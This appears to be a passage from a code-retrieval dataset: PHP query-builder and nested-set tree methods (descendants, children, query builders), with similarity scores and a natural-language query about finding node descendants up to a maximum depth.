Visitors\\InVisitor($builder),\n new Visitors\\NullVisitor($builder),\n new Visitors\\NotNullVisitor($builder),\n ]);\n\n return $builder;\n }", "public function query() {\n $query = parent::query();\n // Add in book parent child relationships.\n $query->join('book', 'b', 'n.nid = b.nid');\n $query->addField('b', 'bid', 'book_id');\n $query->join('menu_links', 'ml', 'b.mlid = ml.mlid');\n $query->isNotNull('ml.mlid');\n $query->addField('ml', 'weight', 'book_weight');\n return $query;\n }", "private function getBlockSelectQuery(): QueryBuilder\n {\n $query = $this->connection->createQueryBuilder();\n $query->select('DISTINCT b.*, bt.*')\n ->from('ngbm_block', 'b')\n ->innerJoin(\n 'b',\n 'ngbm_block_translation',\n 'bt',\n $query->expr()->andX(\n $query->expr()->eq('bt.block_id', 'b.id'),\n $query->expr()->eq('bt.status', 'b.status')\n )\n );\n\n return $query;\n }", "public function descendants($depth=null) {\n $db = $this->getDbConnection();\n $criteria = $this->getDbCriteria();\n $alias = $db->quoteColumnName($this->getTableAlias());\n\n $criteria->mergeWith(array(\n 'condition' => $alias . '.' . $db->quoteColumnName($this->leftAttribute) . '>' . $this->{$this->leftAttribute} .\n ' AND ' . $alias . '.' . $db->quoteColumnName($this->rightAttribute) . '<' . $this->{$this->rightAttribute},\n 'order' => $alias . '.' . $db->quoteColumnName($this->leftAttribute),\n ));\n\n if ($depth !== null)\n $criteria->addCondition($alias . '.' . $db->quoteColumnName($this->levelAttribute) . '<=' . ($this->{$this->levelAttribute} + $depth));\n\n if ($this->hasManyRoots) {\n $criteria->addCondition($alias . '.' . $db->quoteColumnName($this->rootAttribute) . '=' . CDbCriteria::PARAM_PREFIX . CDbCriteria::$paramCount);\n $criteria->params[CDbCriteria::PARAM_PREFIX . CDbCriteria::$paramCount++] = $this->{$this->rootAttribute};\n }\n\n return $this;\n }", "public function getDocumentBuilder()\n {\n return Document::query()\n ->where(function($query) {\n return $query->whereRaw($this->getExpandedQuery());\n });\n }", "public function query()\n {\n return new QueryBuilder(\n $this, $this->getQueryGrammar(), $this->getPostProcessor()\n );\n }", "public function query()\n {\n return new QueryBuilder(\n $this, $this->getQueryGrammar(), $this->getPostProcessor()\n );\n }", "public function getDescendants(array $columns = ['*']);", "public function queryBuilder()\n\t{\n\t\treturn \\ORM::for_table($this->table);\n\t}", "protected function getTableQuery(): Builder\n {\n return parent::getTableQuery()->withoutDrafts();\n }", "public function query()\n\t{\n\t\treturn new Builder(\n\t\t\t$this, $this->getQueryGrammar(), $this->getPostProcessor()\n\t\t);\n\t}", "public function getQueryBuilder()\n {\n $qb = $this->repository->createQueryBuilder(self::ALIAS);\n\n $qb->leftJoin(self::ALIAS.'.networks', 'networks')\n ->addSelect('COUNT(networks.id) AS networksCount')\n ->groupBy(self::ALIAS.'.id');\n\n return $qb;\n }", "function descendants() {\n\t\t/*\n\t\tget all children of this article\n\t\tfor each child, run the same query..\n\t\t*/\n\t\t$childs = $this->children();\n\t\t$subChilds = array();\n\t\tforeach ($childs as $oneChild) {\n\t\t\t$subChilds = array_merge($subChilds, $oneChild->descendants());\n\t\t}\n\t\t$childs = array_merge($childs, $subChilds);\n\t\tpb_pqp_log_speed(\"article descendants()\");\n\t\treturn $childs;\n\t}", "public function query()\n {\n return new \\Rubberband\\Elastic\\Laravel\\Query\\Builder($this);\n }", "function descendants() {\n\t\t$out = array();\n\t\t$this->get_descendants($out);\n\t\treturn $out;\n\t}", "public function build()\n {\n $query = $this->qb;\n if ($this->getWhereExpression()) {\n $query->where($this->getWhereExpression());\n }\n foreach ($this->getWhereParameters() as $key => $param) {\n $query->setParameter($key, $param, is_array($param) ? Connection::PARAM_STR_ARRAY : null);\n }\n\n return $query;\n }", "public function qbAll()\n {\n return $this->createQueryBuilder(\"s\");\n }", "private function allDescendants()\n {\n return isset($this->query['from'][0]['allDescendants']) && $this->query['from'][0]['allDescendants'];\n }", "public function getAllCatparentsAdminQB()\n {\n $qb = $this->getEntityManager()\n ->createQueryBuilder()\n ->select('c')\n ->from('ShopBundle:Catparent', 'cp');\n\n return $qb;\n }", "public function newQueryWithoutScopes(): Builder\n {\n return $this->newModelQuery();\n }", "public function orderBy($column, $dir): QueryBuilderInterface;", "private function fetchOrders(): Builder\n {\n $sortOrder = request('order') ?? 'desc';\n $sortBy = request('sort') ?? 'created_at';\n\n if (! request()->filled('search')) {\n return Order::orderBy($sortBy, $sortOrder);\n }\n\n return $this->searchOrders();\n }", "public function ascending(): self\n {\n $this->filter['ascending'] = 'true';\n\n return $this;\n }", "public function getBuiltQb()\n {\n $qb = clone $this->qb;\n\n $this->setSelectFrom($qb);\n $this->setJoins($qb);\n $this->setWhere($qb);\n $this->setOrderBy($qb);\n $this->setLimit($qb);\n\n return $qb;\n }", "public function query()\n {\n $locale = app()->getLocale();\n $query = app($this->model)->query()->orderBy('sort_order', 'ASC')->orderBy(\"title->\\${$locale}\", 'ASC');\n\n return $this->applyScopes($query);\n }", "public function query(): Builder\n {\n return Role::query()\n ->when($this->getFilter('activeFilter'), function ($query, $active) {\n if ($active === 'yes') {\n return $query->where('is_active', 1);\n }\n\n return $query->where('is_active', 0);\n });\n }", "public function getResultQueryBuilder()\n {\n $qb = clone $this->queryBuilder;\n $this->_addSearch($qb);\n\n return $qb;\n }", "public function createQueryBuilder ()\r\n {\r\n return new QueryBuilder($this);\r\n }", "protected function query(): Builder\n {\n $query = $this->make()->newQuery();\n\n // Loads the active model if set, for use in getOne(), update(), delete(), etc.\n if ($this->activeModelInstance) {\n $query->where(\n $this->activeModelInstance->getKeyName(),\n $this->activeModelInstance->getKey()\n );\n }\n\n return $query;\n }", "protected function createQuery()\n {\n return \\PropelQuery::from($this->class);\n }", "protected function getQuery() {\n $query = new Query();\n if($this->valid()) {\n $query->setQuery(new GtNode($this->dataStore->getIdentifier(), $this->key()));\n }\n $query->setLimit(new LimitNode($this->limit));\n $query->setSort(new SortNode([\n $this->dataStore->getIdentifier() => SortNode::SORT_ASC\n ]));\n return $query;\n }", "public function children() {\n return $this->descendants(1);\n }", "public function roots() {\n $db = $this->getDbConnection();\n $this->getDbCriteria()->addCondition($db->quoteColumnName($this->getTableAlias()) . '.' . $db->quoteColumnName($this->leftAttribute) . '=1');\n\n return $this;\n }", "public function getQuery(): Builder;", "public function getAllQuery()\n {\n $queryBuilder = $this->_em->createQueryBuilder();\n $query = $queryBuilder->select('Teacher')->from('AppBundle\\Entity\\Teacher', 'Teacher');\n\n $query->orderBy('Teacher.id', 'DESC');\n\n return $query;\n }", "public function getChildren()\n {\n return $this\n ->hasMany(MenuItem::class, ['menuId' => 'id'])\n ->andWhere(['is', 'parentId', null])\n ->orderBy(['order' => SORT_ASC]);\n }", "public function getQueryBuilderForNewestPackages()\n {\n $qb = $this->getEntityManager()->createQueryBuilder();\n $qb->select('p')\n ->from(Package::class, 'p')\n ->where('p.abandoned = false')\n ->orderBy('p.id', 'DESC');\n\n return $qb;\n }", "private function getInitialisedQueryBuilder()\n\t{\n\t\t$qb = $this->em->createQueryBuilder()\n\t\t\t->add(\"select\", \"r\")\n\t\t\t->add(\"from\", \"RecruiterRecruitBundle:Recruit r\")\n\t\t;\n\t\t\n\t\treturn $qb;\n\t}", "function _wswwpx_page_get_descendant_ids ( $parent = 0, $inclusive=true ) {\n \tif ( $parent && $inclusive ) $descendants[] = $parent;\n \tif ( $children = _wswwpx_page_get_child_ids ( $parent ) ) {\n \t\tforeach ( $children as $child ) {\n \t\t\t$descendants[] = $child;\n \t\t\t$grandchildren = _wswwpx_page_get_child_ids ( $child );\n \t\t}\n \t}\n \t//\n \treturn $descendants;\n }", "public function getNodeNotDescendantsQueryBuilder(NodeInterface $node)\n {\n $qb = $this->getNodeTreeQueryBuilder();\n $qb->where('c.lft < :lft OR c.rgt > :rgt')\n ->setParameter('lft', $node->getLeft())\n ->setParameter('rgt', $node->getRight());\n\n return $qb;\n }", "private function getRemainingQueryBuilder()\n {\n $qb = $this->createQueryBuilder('o');\n $ex = $qb->expr();\n\n $qb\n ->select('o')\n ->where($ex->andX(\n $ex->eq('o.sample', ':sample'), // Not sample\n $ex->eq('o.state', ':state'), // Accepted\n $ex->lt('o.invoiceTotal', 'o.grandTotal') // invoice total lower than grand total\n ))\n ->addOrderBy('o.createdAt', 'ASC')\n ->setParameter('sample', false)\n ->setParameter('state', OrderStates::STATE_ACCEPTED);\n\n return $qb;\n }", "protected function createQueryBuilder()\n {\n $builder = new QueryBuilder();\n return $builder;\n }", "public function distinct(): QueryBuilderInterface\n\t{\n\t\t// Prepend the keyword to the select string\n\t\t$this->state->setSelectString(' DISTINCT' . $this->state->getSelectString());\n\t\treturn $this;\n\t}", "public function createQueryBuilder()\n {\n return new QueryBuilder($this->db);\n }", "public function getTagsQuery() : QueryBuilder\n {\n $query = $this->connection->createQueryBuilder();\n $query->select([\n \"category_tag.category_id\",\n \"category_tag.category_version_id\",\n \"GROUP_CONCAT(tag.name SEPARATOR ',') as tags\"\n ])\n ->from('category_tag')\n ->leftJoin('category_tag', 'tag', 'tag', 'category_tag.tag_id = tag.id')\n ->groupBy([\"category_tag.category_id\", \"category_tag.category_version_id\"]);\n\n return $query;\n }", "public function descendants($depth=null)\n\t{\n\t\t$owner=$this->getOwner();\n\t\t$db=$owner->getDbConnection();\n\t\t$criteria=$owner->getDbCriteria();\n\t\t$alias=$db->quoteColumnName($owner->getTableAlias());\n\n\t\t$criteria->mergeWith(array(\n\t\t\t'condition'=>$alias.'.'.$db->quoteColumnName($this->leftAttribute).'>'.$owner->{$this->leftAttribute}.\n\t\t\t\t' AND '.$alias.'.'.$db->quoteColumnName($this->rightAttribute).'<'.$owner->{$this->rightAttribute},\n\t\t\t'order'=>$alias.'.'.$db->quoteColumnName($this->leftAttribute),\n\t\t));\n\n\t\tif($depth!==null)\n\t\t\t$criteria->addCondition($alias.'.'.$db->quoteColumnName($this->levelAttribute).'<='.($owner->{$this->levelAttribute}+$depth));\n\n\t\tif($this->hasManyRoots)\n\t\t\t$criteria->addCondition($alias.'.'.$db->quoteColumnName($this->rootAttribute).'='.$owner->{$this->rootAttribute});\n\n\t\treturn $owner;\n\t}", "public function createQueryBuilder(): QueryBuilder\n {\n return new QueryBuilder($this->db, [\n 'separator' => \"\\n\"\n ]);\n }", "public function query(): QueryBuilder;", "public function getQuery()\n {\n $query = $this->createQueryBuilder('m');\n\n return $query;\n }", "public function newQuery()\n {\n $builder = new Builder($this->newBaseQueryBuilder());\n\n $builder->setModel($this);\n\n return $builder;\n }", "function where_top_level()\n\t{\n\t\treturn $this\n\t\t\t->and_where_open()\n\t\t\t\t->where('parent_id', '=', 0)\n\t\t\t\t->or_where('parent_id', 'is', NULL)\n\t\t\t->and_where_close();\n\t}", "public function query() {\n $query = parent::query();\n $query->join('book', 'b', 'n.nid = b.nid');\n $query->join('menu_links', 'ml', 'b.mlid = ml.mlid');\n $query->isNotNull('ml.mlid');\n return $query;\n }", "public function createPublishedSortedQueryBuilder()\n {\n return $this->createPublishedQueryBuilder()\n ->sort('publishedAt', 'desc');\n }", "public static function query()\n {\n QueryBuilder::$dataSource = true;\n\n return new QueryBuilder();\n }", "public function createQuery() {\n return new XML\\DOM();\n }", "public function query()\n {\n return $this->model\n ->newQuery()\n ->with(['translations'])\n ->orderBy('order_column')\n ->nonDraft();\n }", "public function getChildNodes($c = null)\r\n {\r\n if ($c === null)\r\n {\r\n $c = new Criteria();\r\n }\r\n\r\n if (! $c->getOrderByColumns())\r\n {\r\n $c->addAscendingOrderByColumn(DmsNodePeer::NAME);\r\n }\r\n\r\n $c->add(DmsNodePeer::STORE_ID, $this->getId());\r\n $c->add(DmsNodePeer::PARENT_ID, null);\r\n\r\n return DmsNodePeer::doSelect($c);\r\n }", "public function children()\n\t{\n\t\treturn $this->descendants(1);\n\t}", "public function childs(?int $depth = null, bool $withParent = false, bool $eagerLoading = false): ActiveQuery\n {\n return $this->owner::find()\n ->childs($this->owner->id, $withParent, $depth, $eagerLoading)\n ->orderBy(['treePathsChild.child_level' => SORT_ASC]);\n }", "protected function getBaseQuery()\n {\n return $this->db->select([$this->table . '.*'])\n ->from($this->table)\n ->order_by('module,submodule');\n }", "protected function getListQuery()\n\t{\n $query = parent::getListQuery();\n $query->from('`#__uvelir_categories_new` AS a');\n // Фильтр по родительской категории\n $parent_id = $this->getState('filter.parent_id', '0');\n if($parent_id)\n {\n list($lft,$rgt) = $this->getTable()->get_shoulders($parent_id);\n $query->where('lft >= '.$lft.' AND rgt <= '.$rgt);\n }\n \n // Filter by search in title\n $search = $this->getState('filter.search');\n if (!empty($search)) \n {\n $search = $this->_db->Quote('%'.$this->_db->escape($search, true).'%');\n $query->where('( a.name LIKE '.$search.' )');\n }\n// var_dump((string)$query);\n return $query;\n }", "public function subQuery()\n {\n $subQuery = clone $this;\n $subQuery->builderCache = new Query\\BuilderCache();\n\n $subQuery->isSubQuery = true;\n\n return $subQuery;\n }", "private function _getQueryBuilder($args = array()) {\n\n\t\t$defaultArgs = array(\n\t\t\t'isEnabled' => null,\n\t\t\t'searchPhrase' => null,\n\t\t);\n\n\t\t$args = array_merge($defaultArgs, $args);\n\n\t\t$contextListQB = new ContextQueryBuilder();\n\t\t$contextListQB\n\t\t\t->filterByIsEnabled($args['isEnabled'])\n\t\t\t->searchPhrase($args['searchPhrase']);\n\n\t\t\\HookRegistry::call('Context::getMany::queryBuilder', array($contextListQB, $args));\n\n\t\treturn $contextListQB;\n\t}", "#[ReturnTypeWillChange]\n public function getChildren()\n {\n return new self($this->iterator->getChildren(), $this->excluded);\n }", "public function newQuery(): Builder\n {\n return new static($this->connection);\n }", "protected function defineAllMembershipsQuery()\n {\n return $this->createQueryBuilder();\n }", "public function buildQuery()\n {\n if (!$this->query) {\n $this->query = $this->getMapper()->buildAssociationQuery($this);\n }\n\n return clone $this->query;\n }", "public function forNestedWhere()\n {\n // ->from($this->from) is wrong, and ->from($this->type) is redundant in nested where\n return $this->newQuery()->from(null);\n }", "public function createQueryBuilder()\n {\n return new Query\\QueryBuilder($this);\n }", "public function getQueryBuilder();", "public function getQueryBuilder();", "public function ancestors()\n {\n return $this->belongsToMany(Node::class, 'rbac_paths','last_node_id','first_node_id')\n ->as('path')->using(Path::class);\n }", "public function getNodeOrderBy()\n {\n return $this->prototype->getNodeOrderBy();\n }", "public function newQuery() {\n return new Builder($this->connection);\n }", "public function orderASC()\n {\n $this->order = 'ASC';\n\n return $this;\n }" ]
[ "0.6466017", "0.628101", "0.60708696", "0.59080255", "0.58498013", "0.57561725", "0.57357436", "0.5719049", "0.566345", "0.56513584", "0.560418", "0.5572246", "0.55671185", "0.55293167", "0.5477672", "0.54699075", "0.5465625", "0.5457522", "0.5435523", "0.5435523", "0.54200727", "0.54179007", "0.541235", "0.5404996", "0.5375872", "0.5367954", "0.5331227", "0.5326713", "0.53045547", "0.5300307", "0.5223434", "0.5223434", "0.52119297", "0.52105296", "0.5207217", "0.5177901", "0.5171312", "0.51685387", "0.51481533", "0.5147651", "0.51419073", "0.51406187", "0.5137114", "0.51360846", "0.51201195", "0.51093584", "0.5106074", "0.50996387", "0.50936306", "0.50812984", "0.5079105", "0.5071695", "0.50712794", "0.50387585", "0.50374", "0.5037344", "0.5028623", "0.5020874", "0.50114816", "0.5006814", "0.49985242", "0.49906066", "0.49736726", "0.49727634", "0.49672496", "0.4966716", "0.4965901", "0.4960905", "0.49574685", "0.495674", "0.4932146", "0.49312514", "0.49297556", "0.49282125", "0.49274203", "0.49250975", "0.4916023", "0.49074832", "0.4898642", "0.4894337", "0.48932627", "0.48795614", "0.487204", "0.4866679", "0.48629087", "0.485733", "0.4848941", "0.48489144", "0.48401737", "0.48259848", "0.48208654", "0.4816943", "0.4799561", "0.47992742", "0.47933468", "0.47933468", "0.4789297", "0.4782613", "0.47775576", "0.47739926" ]
0.67854375
0
Returns all descendants of a given node up to a max depth.
public function findNodeDescendantsFilteredByDepth(NodeInterface $node, $depth = 1) { $qb = $this->getNodeDescendantsQueryBuilder($node); $qb->andWhere('c.lvl - ' . $node->getLevel() . ' <= :d') ->setParameter('d', $depth); return $qb->getQuery()->getResult(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function descendants() {\n\t\t$out = array();\n\t\t$this->get_descendants($out);\n\t\treturn $out;\n\t}", "function descendants() {\n\t\t/*\n\t\tget all children of this article\n\t\tfor each child, run the same query..\n\t\t*/\n\t\t$childs = $this->children();\n\t\t$subChilds = array();\n\t\tforeach ($childs as $oneChild) {\n\t\t\t$subChilds = array_merge($subChilds, $oneChild->descendants());\n\t\t}\n\t\t$childs = array_merge($childs, $subChilds);\n\t\tpb_pqp_log_speed(\"article descendants()\");\n\t\treturn $childs;\n\t}", "public function getDescendants(BaseObject $node, $peer_method = 'doSelect', Criteria $c = null)\n {\n $descendants = array();\n\n if (!$node->isLeaf())\n {\n if(!$c)\n {\n $c = new Criteria();\n }\n $c->addAnd(self::getColumnConstant(get_class($node), 'left'), $node->getLeftValue(), Criteria::GREATER_THAN);\n $c->addAnd(self::getColumnConstant(get_class($node), 'right'), $node->getRightValue(), Criteria::LESS_THAN);\n $c->addAnd(self::getColumnConstant(get_class($node), 'scope'), $node->getScopeIdValue(), Criteria::EQUAL);\n $c->addAscendingOrderByColumn(self::getColumnConstant(get_class($node), 'left'));\n\n $descendants = call_user_func(array(get_class($node->getPeer()), $peer_method), $c);\n }\n\n /*\n * Set node levels to prevent further queries to database\n */\n $prev = array($node->getRightValue());\n $i = 0;\n if (count($descendants))\n {\n $initial_level = $descendants[0]->getLevel() - 1;\n }\n\n foreach ($descendants as $cur)\n {\n // get back to the parent\n while ($cur->getRightValue() > $prev[$i])\n {\n $i--;\n }\n\n $cur->setLevel(++$i + $initial_level);\n $prev[$i] = $cur->getRightValue();\n }\n\n return $descendants;\n }", "public function getDescendants(NodeInterface $node)\r\n {\r\n $params = compact('node');\r\n $event = $this->getEventManager()->trigger(__FUNCTION__.'.pre', $this, $params);\r\n if ($event->stopped()) {\r\n return $event->last();\r\n }\r\n\r\n $result = $this->mapper->getDescendants($node);\r\n\r\n $params['__RESULT__'] = $result;\r\n $this->getEventManager()->trigger(__FUNCTION__.'.post', $this, $params);\r\n\r\n return $result;\r\n }", "public function getDescendants();", "public function getDescendants()\n {\n if (!isset($this->_objects['Descendants'])) {\n $this->_objects['Descendants'] = $this->_getRepository()->fetchDescendantsByParent($this->id);\n }\n\n return $this->_objects['Descendants'];\n }", "public function descendants($depth=null)\n\t{\n\t\t$owner=$this->getOwner();\n\t\t$db=$owner->getDbConnection();\n\t\t$criteria=$owner->getDbCriteria();\n\t\t$alias=$db->quoteColumnName($owner->getTableAlias());\n\n\t\t$criteria->mergeWith(array(\n\t\t\t'condition'=>$alias.'.'.$db->quoteColumnName($this->leftAttribute).'>'.$owner->{$this->leftAttribute}.\n\t\t\t\t' AND '.$alias.'.'.$db->quoteColumnName($this->rightAttribute).'<'.$owner->{$this->rightAttribute},\n\t\t\t'order'=>$alias.'.'.$db->quoteColumnName($this->leftAttribute),\n\t\t));\n\n\t\tif($depth!==null)\n\t\t\t$criteria->addCondition($alias.'.'.$db->quoteColumnName($this->levelAttribute).'<='.($owner->{$this->levelAttribute}+$depth));\n\n\t\tif($this->hasManyRoots)\n\t\t\t$criteria->addCondition($alias.'.'.$db->quoteColumnName($this->rootAttribute).'='.$owner->{$this->rootAttribute});\n\n\t\treturn $owner;\n\t}", "public function descendants($depth=null) {\n $db = $this->getDbConnection();\n $criteria = $this->getDbCriteria();\n $alias = $db->quoteColumnName($this->getTableAlias());\n\n $criteria->mergeWith(array(\n 'condition' => $alias . '.' . $db->quoteColumnName($this->leftAttribute) . '>' . $this->{$this->leftAttribute} .\n ' AND ' . $alias . '.' . $db->quoteColumnName($this->rightAttribute) . '<' . $this->{$this->rightAttribute},\n 'order' => $alias . '.' . $db->quoteColumnName($this->leftAttribute),\n ));\n\n if ($depth !== null)\n $criteria->addCondition($alias . '.' . $db->quoteColumnName($this->levelAttribute) . '<=' . ($this->{$this->levelAttribute} + $depth));\n\n if ($this->hasManyRoots) {\n $criteria->addCondition($alias . '.' . $db->quoteColumnName($this->rootAttribute) . '=' . CDbCriteria::PARAM_PREFIX . CDbCriteria::$paramCount);\n $criteria->params[CDbCriteria::PARAM_PREFIX . CDbCriteria::$paramCount++] = $this->{$this->rootAttribute};\n }\n\n return $this;\n }", "public function descendants($id);", "public function getDescendants($folderId, $depth, $options = array ()) { // Nice to have\n\t\t$hash_values = $options;\n\t\t$hash_values[self::OPT_DEPTH] = $depth;\n\t\t$myURL = $this->getLink($folderId, self::LINK_DOWN_TREE);\n\t\t$myURL = CmisRepositoryWrapper :: getOpUrl($myURL, $hash_values);\n\t\t$ret = $this->doGet($myURL);\n\t\t$objs = $this->extractObjectFeed($ret->body);\n\t\t$this->cacheFeedInfo($objs);\n\t\treturn $objs;\n\t}", "public function children()\n\t{\n\t\treturn $this->descendants(1);\n\t}", "private function computeMaxDepth($node){\n\t\t$children = $node->getElements('DEPENDENCY');\n\t\tif(sizeof($children) == 0){\n\t\t\t$children = $node->getElements('DEPENDENCIES/DEPENDENCY');\n\t\t}\n\t\tif(sizeof($children) == 0){\n\t\t\t$children = $node->getElements('DEPENDENCIES');\n\t\t}\n\t\t$maxDepth = 0;\n\t\tforeach($children as $childNode){\n\t\t\t$childDepth = $this->computeMaxDepth($childNode);\n\t\t\tif($childDepth > $maxDepth){\n\t\t\t\t$maxDepth = $childDepth;\n\t\t\t}\n\t\t}\n\t\treturn 1 + $maxDepth;\n\t}", "public function children() {\n return $this->descendants(1);\n }", "public function testDescendantsWithMultiplePaths() {\n $this->savePage('Category:Grandparent', '');\n $this->savePage('Category:Parent 1', '[[Category:Grandparent]]');\n $this->savePage('Category:Parent 2', '[[Category:Grandparent]]');\n $this->savePage('Parent 1', '[[Category:Grandparent]]');\n $this->savePage('Child 1', '[[Category:Parent 1]]');\n $this->savePage('Child 2', '[[Category:Parent 1]]');\n $this->savePage('Child 3', '[[Category:Parent 2]]');\n $decendants = $this->traverser->descendants('Category:Grandparent');\n $this->assertCount(4, $decendants);\n }", "public function descendants($self = FALSE, $direction = 'ASC', $direct_children_only = FALSE, $leaves_only = FALSE, $limit = FALSE)\n {\n $object_id = \"descendants_$self-$direction-$direct_children_only-$leaves_only-$limit\";\n if (! in_array($object_id, $this->_objects))\n {\n if ( !$this->loaded )\n $this->reload();\n\n $left_operator = $self ? '>=' : '>';\n $right_operator = $self ? '<=' : '<';\n \n $sql = \"SELECT * FROM $this->_table_name\n WHERE\n $this->left_column $left_operator $this->left\n AND $this->right_column $right_operator $this->right\n AND $this->scope_column = $this->scope\n \";\n\n if ($direct_children_only)\n {\n if ($self)\n {\n $sql .= \"AND (\n $this->level_column = $this->level\n OR $this->level_column = ($this->level + 1)\n )\\n\";\n }\n else\n {\n $sql .= \"AND $this->level_column = ($this->level + 1) \\n\";\n }\n }\n \n if ($leaves_only)\n {\n $sql .= \"AND $this->right_column = ($this->left_column + 1) \\n\";\n }\n \n $sql .= \"ORDER BY $this->left_column $direction \\n\";\n \n if ($limit !== FALSE)\n {\n $sql .= \"LIMIT $limit \\n\";\n }\n \n $result = $this->_db->query($sql);\n $this->_objects[$object_id] = $this->factory_set($result);\n }\n return $this->_objects[$object_id];\n }", "public function getNodeDescendantsQueryBuilder(NodeInterface $node)\n {\n $qb = $this->getNodeTreeQueryBuilder();\n $qb->where('c.lft > :lft AND c.rgt < :rgt')\n ->setParameter('lft', $node->getLeft())\n ->setParameter('rgt', $node->getRight());\n\n return $qb;\n }", "public function getChildrenLevelsForNode(Node $node) {\n \t$path = $node->getPath();\n\n \t$query = $this->createQuery(0);\n \t$query->setFields('MAX(LENGTH({parent}) - LENGTH(REPLACE({parent}, %1%, %2%))) + 1 AS levels', self::PATH_SEPARATOR, '');\n \t$query->addCondition('{parent} LIKE %1%', $path . '%');\n\n \t$result = $query->queryFirst();\n\n \treturn $result->levels - $node->getLevel();\n }", "public function getDescendants($idEntry = 0);", "public function childrenRecursive()\n\t\t{\n\t\t\treturn $this->children()->with('childrenRecursive');\n\t\t}", "public function childrenRecursive()\n {\n return $this->children()->with('childrenRecursive');\n }", "public function childrenRecursive()\n {\n return $this->children()->with('childrenRecursive');\n }", "function _wswwpx_page_get_descendant_ids ( $parent = 0, $inclusive=true ) {\n \tif ( $parent && $inclusive ) $descendants[] = $parent;\n \tif ( $children = _wswwpx_page_get_child_ids ( $parent ) ) {\n \t\tforeach ( $children as $child ) {\n \t\t\t$descendants[] = $child;\n \t\t\t$grandchildren = _wswwpx_page_get_child_ids ( $child );\n \t\t}\n \t}\n \t//\n \treturn $descendants;\n }", "public function getTypeDescendants($typeId = null, $depth, $options = array ()) {\n\t\t// TODO: Refactor Type Entries Caching\n\t\t$varmap = $options;\n\t\tif ($typeId) {\n\t\t\t$hash_values = $options;\n\t\t\t$hash_values[self::OPT_DEPTH] = $depth;\n\t\t\t$myURL = $this->getTypeLink($typeId, self::LINK_DOWN_TREE);\n\t\t\t$myURL = CmisRepositoryWrapper :: getOpUrl($myURL, $hash_values);\n\t\t} else {\n\t\t\t$myURL = $this->processTemplate($this->workspace->links[self::LINK_TYPE_DESCENDANTS], $varmap);\n\t\t}\n\t\t$ret = $this->doGet($myURL);\n\t\t$typs = $this->extractTypeFeed($ret->body);\n\t\t$this->cacheTypeFeedInfo($typs);\n\t\treturn $typs;\n\t}", "public function getNumberDescendants();", "public function getDepthMaximum(): PositiveInteger;", "public function countDescendants();", "public function children($self = FALSE, $direction = 'ASC', $limit = FALSE)\n {\n return $this->descendants($self, $direction, TRUE, FALSE, $limit);\n }", "public function deleteDescendants(BaseObject $node, $peer_method='doSelect')\n {\n $peer_name = get_class($node->getPeer());\n $stub_name = get_class($node);\n\n $c = new Criteria();\n $c1 = $c->getNewCriterion(self::getColumnConstant($stub_name, 'left'), $node->getLeftValue(), Criteria::GREATER_THAN);\n $c2 = $c->getNewCriterion(self::getColumnConstant($stub_name, 'right'), $node->getRightValue(), Criteria::LESS_THAN);\n\n $c1->addAnd($c2);\n\n $c->add($c1);\n $c->add(self::getColumnConstant($stub_name, 'scope'), $node->getScopeIdValue());\n // order the nodes ascending (deletes leafes only in the foreach loop)\n $c->addAscendingOrderByColumn(self::getColumnConstant($stub_name, 'right'));\n\n // Nodes are not directly deleted because we need to maintain adjacency list properties\n $descendants = call_user_func(array($peer_name, $peer_method), $c);\n\n foreach ($descendants as $descendant)\n {\n $descendant->delete();\n }\n }", "public function getChildren()\r\n\t{\r\n\t\treturn $this->childrenNodes;\r\n\t}", "function df_traversal($node,$parent){\n\tif(!$node) return;\t\n\tif($node == $parent) return;\n\t\n\tif($node->level <= $parent->level) $node->level=$parent->level+1;\n\t$node->is_root=false;\n\tif(isset($node->downLink)) foreach($node->downLink as $child) {\n\t\tdf_traversal(find_node($child),$node);\n\t}\n\t$node->visited=true;\n}", "public function getNumberOfDescendants(BaseObject $node)\n {\n $right = $node->getRightValue();\n $left = $node->getLeftValue();\n $num = ($right - $left - 1) / 2;\n\n return $num;\n }", "public function ancestorsGetDescendants($exclude_this=true)\r\n {\r\n $model = (new static)->setState('filter.path_begins_with', $this->path);\r\n if ($exclude_this) {\r\n \t$model->setState('filter.ids_excluded', array( $this->id ));\r\n } \r\n $items = $model->getItems();\r\n\r\n return $items;\r\n }", "public function getChildren($node)\n {\n return $this->getGraph()->getChildren($node)->filter(function($node) {\n return $this->containsNode($node);\n });\n }", "public function getDescendantsCount()\n {\n if (!isset($this->_descendantsCount)) {\n $this->_descendantsCount = $this->_getRepository()->countDescendantsByParent($this->id);\n }\n\n return $this->_descendantsCount;\n }", "function &sql_fetch_children( $inQueryString, $rootNode, $idField = \"id\", $parentField = \"parent\") {\n\tsql_connect();\n\tglobal $defaultdb;\n\t$return = $defaultdb->fetch_children($inQueryString,$rootNode,$idField,$parentField);\n\treturn $return;\n}", "#[ReturnTypeWillChange]\n public function getChildren()\n {\n return new self($this->iterator->getChildren(), $this->excluded);\n }", "public function getChildNodes()\n {\n return array_values($this->getChildNodesById());\n }", "function _set_decendants ($parent, $to_add)\n {\n $parent = $parent ? $parent : 0;\n \n if (isset($this->data[ $parent ]['descendants']))\n {\n $this->data[ $parent ]['descendants'] = array_merge($this->data[ $parent ]['descendants'],$to_add);\n }\n else\n {\n $this->data[ $parent ]['descendants'] = $to_add;\n }\n\n if (isset($this->data[ $parent ]['parent']))\n {\n // One up the tree\n $this->_set_decendants($this->data[ $parent ]['parent'], $to_add);\n }\n }", "public function getNodeAscendantsQueryBuilder(NodeInterface $node)\n {\n $qb = $this->getNodeTreeQueryBuilder();\n $qb->where('c.lft <= :lft AND c.rgt >= :rgt')\n ->setParameter('lft', $node->getLeft())\n ->setParameter('rgt', $node->getRight());\n\n return $qb;\n }", "public function allChildrenElements() {\n\t\treturn $this->childrenElements()->with('allChildrenElements');\n\t}", "public function maxDepth()\n {\n if ($this->maxDepth === null) {\n return static::DEFAULT_MAX_DEPTH;\n }\n\n return $this->maxDepth;\n }", "public function getChildNodes() {}", "public function getChildNodes() {}", "public function get_children();", "function get_max_depth($cat_id)\n{\n\tglobal $db;\n\tif ($cat_id < 0) $cat_id = 0;\n\t$local_depth = 0;\n\t$sql = \"select * from \" . CATEGORIES_TABLE . \" where cat_main = $cat_id\";\n\tif( !($result = $db->sql_query($sql)) ) message_die(GENERAL_ERROR, 'Could not query categorie parm', '', __LINE__, __FILE__, $sql);\n\twhile ( $row = $db->sql_fetchrow($result) )\n\t{\n\t\t$branch_depth = get_max_depth( $row['cat_id'] );\n\t\tif ( $cat_id > 0 ) $branch_depth++;\n\t\tif ( $branch_depth > $local_depth ) $local_depth = $branch_depth;\n\t}\n\treturn 